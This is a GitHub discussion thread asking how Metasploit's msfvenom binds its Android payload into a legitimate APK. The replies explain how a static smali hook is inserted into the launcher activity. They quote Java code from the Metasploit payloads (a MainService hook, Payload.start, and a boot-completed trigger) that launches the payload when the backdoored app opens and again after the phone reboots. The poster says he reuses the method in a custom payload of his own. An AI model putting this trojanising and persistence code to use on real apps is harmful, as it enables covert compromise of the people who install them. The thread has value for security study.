How does msfvenom template an APK's Launcher Activity without an onCreate
method?
#16781
-
G'day guys another question from me, I'm wondering how msfvenom is able to Template APK's when the ExampleHere we see from an Example the Launcher Activity is defined in the first instance of the please correct me if I am wrong in any of the info I have provided <application android:name="com.example.myapp.App"> Which directs us to a ./exampleApp/smali/com/example/myapp/App.smali However in this so my question is how is msfvenom able to template an APK like the example above if there is no The same also applies to some APK's where the Launcher Activity defined by the |
Beta Was this translation helpful? Give feedback.
Replies: 2 comments 5 replies
-
TL/DR: It patches the smali code. It inserts See also: A quick guide to Android app reversing
This method calls metasploit-framework/lib/msf/core/payload_generator.rb Lines 406 to 414 in f043b12 This method calls metasploit-framework/lib/msf/core/payload/apk.rb Lines 305 to 311 in f043b12 This method returns a full class name (for example: metasploit-framework/lib/msf/core/payload/apk.rb Lines 37 to 88 in f043b12
metasploit-framework/lib/msf/core/payload/apk.rb Lines 313 to 324 in f043b12 It later inserts metasploit-framework/lib/msf/core/payload/apk.rb Lines 358 to 366 in f043b12 |
Beta Was this translation helpful? Give feedback.
-
Finally figured out how the backdooring process works in order to start a metasploit Android Payload that's been bound to a legit APK upon launching the App after installation. I'll keep it as short as possible. So thanks to @bcoles answer, I've found out that msfvenom throws a static hook method into a legit APK's main launcher activity just before the first instance of invoke-static {}, Lsome/package/id/metasploit/stage/MainService;->start()V Once this is done the Smali code inside the following metasploit
...is responsible for allowing the hook method to work. The code that it uses was hard for me to read in Smali so I grabbed the original Java code from the Rapid7/metasploit-payloads repo located inside the Repo's java/androidpayload/app/src/com/metasploit/stage directory, the Java code snippets stated below are responsible for allowing this hook function to work, I know for a fact they are because a non-msf custom APK payload of my own now uses the same method for hooking and it works beautifully.
I believe this code snippet is responsible for starting the Payload injected into an original APK via means of a static hook being injected into either the APK's main package com.metasploit.stage;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import java.lang.reflect.Method;
public class MainService extends Service {
private static void findContext() throws Exception {
Class<?> activityThreadClass;
try {
activityThreadClass = Class.forName("android.app.ActivityThread");
} catch (ClassNotFoundException e) {
// No context
return;
}
final Method currentApplication = activityThreadClass.getMethod("currentApplication");
final Context context = (Context) currentApplication.invoke(null, (Object[]) null);
if (context == null) {
// Post to the UI/Main thread and try and retrieve the Context
final Handler handler = new Handler(Looper.getMainLooper());
handler.post(new Runnable() {
public void run() {
try {
Context context = (Context) currentApplication.invoke(null, (Object[]) null);
if (context != null) {
startService(context);
}
} catch (Exception ignored) {
}
}
});
} else {
startService(context);
}
}
// Smali hook point
public static void start() {
try {
findContext();
} catch (Exception ignored) {
}
}
public static void startService(Context context) {
context.startService(new Intent(context, MainService.class));
}
//-------------------------------------------------------------------//
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
Payload.start(this); // 'Payload.startAsync(this);' works as well
return START_STICKY;
}
This code snippet seems to be responsible for allowing the payload to start once the backdoor application has been launched. // Launched from activity
private static Context context;
public static void start(Context context) {
Payload.context = context;
// 'startInPath()' below is not needed,
// It's only needed when launching
// from the ndk stager I believe.
//startInPath(context.getFilesDir().toString());
}
public static void startContext() {
try {
findContext();
} catch (Exception ignored) {
}
}
private static void findContext() throws Exception {
Class<?> activityThreadClass;
try {
activityThreadClass = Class.forName("android.app.ActivityThread");
} catch (ClassNotFoundException e) {
// No context
return;
}
final Method currentApplication = activityThreadClass.getMethod("currentApplication");
final Context context = (Context) currentApplication.invoke(null, (Object[]) null);
if (context == null) {
// Post to the UI/Main thread and try and retrieve the Context
final Handler handler = new Handler(Looper.getMainLooper());
handler.post(new Runnable() {
public void run() {
try {
Context context = (Context) currentApplication.invoke(null, (Object[]) null);
if (context != null) {
start(context); // startAsync(context) works as well
}
} catch (Exception ignored) {
}
}
});
} else {
start(context); // startAsync(context) works as well
}
}
From Commit history I believe this aids in starting the payload connection a lot faster when launching the backdoored application after installation or at any point after that. MainService.startService(this);
I believe this is responsible for allowing the payload to start faster once the phone either restarts or boots up from a dead battery. if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
MainService.startService(context);
} Hopefully this helps anyone out who was wondering the same thing. |
Beta Was this translation helpful? Give feedback.
Finally figured out how the backdooring process works in order to start a metasploit Android Payload that's been bound to a legit APK upon launching the App after installation.
I'll keep it as short as possible.
So thanks to @bcoles answer, I've found out that msfvenom throws a static hook method into a legit APK's main launcher activity just before the first instance of
return-void
, the hook method resembles the example below before it's obfuscated or encrypted later on before building.Once this is done the Smali code inside the following metasploit
.smali
files...